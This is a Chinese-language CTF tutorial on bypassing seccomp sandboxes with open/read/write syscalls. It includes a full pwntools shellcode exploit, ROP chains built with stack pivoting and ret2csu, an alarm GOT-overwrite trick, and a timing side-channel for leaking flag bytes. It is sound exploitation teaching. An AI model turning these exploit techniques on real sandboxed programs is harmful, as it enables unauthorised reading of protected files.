orw总结分享
字数 1075 2025-08-11 21:26:31
ORW绕过沙箱机制技术详解
一、沙箱机制概述
沙箱(Sandbox)是计算机安全领域的虚拟技术,主要用于运行不受信任的软件。其核心机制是:
- 将不受信任的程序放在沙箱中运行
- 一旦检测到恶意行为,立即禁止程序继续运行
- 不会对真实系统造成危害
在CTF比赛中,常见沙箱会禁用execve系统调用,阻止选手直接获取shell,此时需要通过open、read、write(ORW)系统调用来读取并打印flag内容。
二、沙箱开启方式
- prctl函数调用
- seccomp库函数
沙箱分为两种类型:
- 白箱:只允许白名单中的函数调用
- 黑箱:禁用黑名单中的特定函数
三、工具安装与使用
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
查看保护措施:
seccomp-tools dump ./pwn
四、绕过方式
1. Shellcode绕过
适用于NX保护未开启且存在rwx段的情况。
示例shellcode构造:
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('3', bss+0x900, 100) # fd=3因为程序执行时文件描述符从3开始
shellcode += shellcraft.write(1, bss+0x900, 100) # 1表示标准输出
shellcode = asm(shellcode)
2. ROP绕过
适用于开启了NX保护的情况。
典型ROP链构造:
- 通过printf泄露栈地址
- 栈迁移泄露libc基址
- 再次通过printf泄露迁移后的栈地址
- 构造ORW链读取flag
关键ROP gadget:
pop_rdi = libc_base + next(libc.search(asm("pop rdi;ret")))
pop_rsi = libc_base + next(libc.search(asm("pop rsi;ret")))
pop_rdx = libc_base + next(libc.search(asm("pop rdx;ret")))
五、实战案例解析
案例1:简单shellcode绕过
程序特点:
- NX保护未开启
- 存在rwx段
- 通过read_from_user函数读取用户输入
利用步骤:
- 接收banner泄露的地址,绕过PIE保护
- 构造ORW shellcode
- 发送shellcode执行
完整exp示例:
from pwn import *
context(log_level='debug', os='linux', arch='amd64')
io = process('./pwn')
# 获取基址
io.recvuntil('A gift for you : ')
elf_addr = eval(io.recv(14))
elf_base = elf_addr - 0x1572
bss = elf_base + 0x5020
# 构造shellcode
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('3', bss+0x900, 100)
shellcode += shellcraft.write(1, bss+0x900, 100)
shellcode = asm(shellcode)
# 发送payload
io.sendlineafter("> ", str(len(shellcode)))
io.sendlineafter("Your input : ", shellcode)
io.interactive()
案例2:栈迁移构造ROP
程序特点:
- 开启了NX保护
- 存在两个read函数调用
- 无PIE保护
利用步骤:
- 通过printf泄露栈地址
- 栈迁移泄露libc基址
- 再次泄露迁移后的栈地址
- 构造ORW链读取flag
关键ROP链:
payload = (b"./flag\x00\x00" +
p64(pop_rdi) + p64(buf) +
p64(pop_rsi) + p64(0) +
p64(open_addr) +
p64(pop_rdi) + p64(3) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(0x100) +
p64(read_addr) +
p64(pop_rdi) + p64(1) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(0x100) +
p64(write_addr))
案例3:alarm函数利用
程序特点:
- 禁用了execve
- 没有puts函数无法泄露libc
- 存在alarm函数
利用技巧:
- 修改alarm的got表为syscall地址
- 利用ret2csu控制rdx的值
- 构造ROP链实现ORW
关键步骤:
# 修改alarm got为syscall地址
payload = b'a'*0x48 + p64(pop_rsi_r15) + p64(alarm) + p64(0) + p64(read)
io.sendline(b'\x99') # 修改为syscall
# 构造open/read/write链
payload += p64(pop_rax) + p64(2) # open
payload += p64(csu_1) + p64(0) + p64(1) + p64(bss) + p64(0) + p64(0) + p64(alarm) + p64(csu_2)
案例4:侧信道爆破
适用场景:
- 禁用了execve
- 关闭了标准输出流(write)
- 只允许read和open系统调用
爆破方法:
for i in range(s, e):
for j in range(0x20, 0x80):
payload = shellcraft.open("flag")
payload += shellcraft.read("rax", 0x10080, 30)
payload += '''loop:
cmp byte ptr [0x10080+{0}],{1}
je loop'''.format(i, j)
# 通过响应时间判断是否正确
六、总结
ORW绕过沙箱的核心技术要点:
- 理解沙箱限制的系统调用
- 根据程序保护措施选择shellcode或ROP
- 熟练掌握ORW链的构造方法
- 在特殊情况下使用侧信道爆破技术
- 灵活利用程序已有函数(如alarm)实现系统调用
通过以上技术,可以在沙箱限制下成功读取flag,即使无法获取完整shell权限。